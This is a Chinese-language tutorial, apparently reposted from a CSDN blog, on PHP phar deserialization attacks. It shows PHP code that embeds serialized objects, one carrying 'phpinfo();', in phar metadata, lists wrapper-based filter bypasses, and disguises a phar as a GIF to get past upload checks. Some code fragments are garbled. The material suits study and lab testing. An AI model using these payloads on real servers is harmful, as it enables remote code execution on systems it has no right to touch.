目录
基础知识
前言
PHP反序列化常见的是使用unserilize()
进行反序列化,除此之外还有其它的反序列化方法,不需要用到unserilize()
。就是用到了本文的主要内容——phar反序列化
Phar基础
Phar是将php文件打包而成的一种压缩文档,类似于Java中的jar包。它有一个特性就是phar文件会以序列化的形式储存用户自定义的meta-data
。以扩展反序列化漏洞的攻击面,配合phar://
协议使用。
Phar文件结构
a stub
是一个文件标志,格式为 :xxx
。
manifest
是被压缩的文件的属性等放在这里,是主要的攻击点,因为这里以序列化的形式存储了用户自定义的Meta-data。
contents
是被压缩的内容。
signature
签名,放在文件末尾。签证尾部的01
代表md5加密,02
代表sha1加密,04
代表sha256加密,08
代表sha512加密
受影响的函数
所有文件函数均可使用
但实际上只要调用了php_stream_open_wrapper的函数,都存在这样的问题。
漏洞实验
-
实验一
生成phar文件
注意:如果想要生成Phar文件,要将
php.ini
中的phar.readonly
选项设置为Off
,否则无法生成phar
文件。
startBuffering();$phar->setStub("");//设置stub$obj=new test();$phar->setMetadata($obj);//自定义的meta-data存入manifest$phar->addFromString("flag.txt","flag");//添加要压缩的文件//签名自动计算$phar->stopBuffering();?>
name); }}echo file_get_contents('phar://test.phar/flag.txt');?>
-
实验二
生成phar文件
name; }}$a = new test();$a->name="phpinfo();";$phartest=new phar('phartest.phar',0);//后缀名必须为phar$phartest->startBuffering();//开始缓冲 Phar 写操作$phartest->setMetadata($a);//自定义的meta-data存入manifest$phartest->setStub("");//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测$phartest->addFromString("test.txt","test");//添加要压缩的文件$phartest->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘?>
name); }}$phardemo = file_get_contents('phar://phartest.phar/test.txt');echo $phardemo;
过滤绕过
有以下几种方法可以绕过:
compress.bzip2://phar://
compress.zlib://phar:///
php://filter/resource=phar://
除此之外,我们还可以将phar伪造成其他格式的文件。php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
startBuffering(); $phar->setStub("GIF89a".""); //设置stub,增加gif文件头 $o = new TestObject(); $phar->setMetadata($o); //将自定义meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering();?>
补充
windows端口被占用的问题
netstat -aon|findstr "8099"
tasklist|findstr "8972"
taskkill /f /t /im node.exe
来源地址:https://blog.csdn.net/qq_63701832/article/details/128764956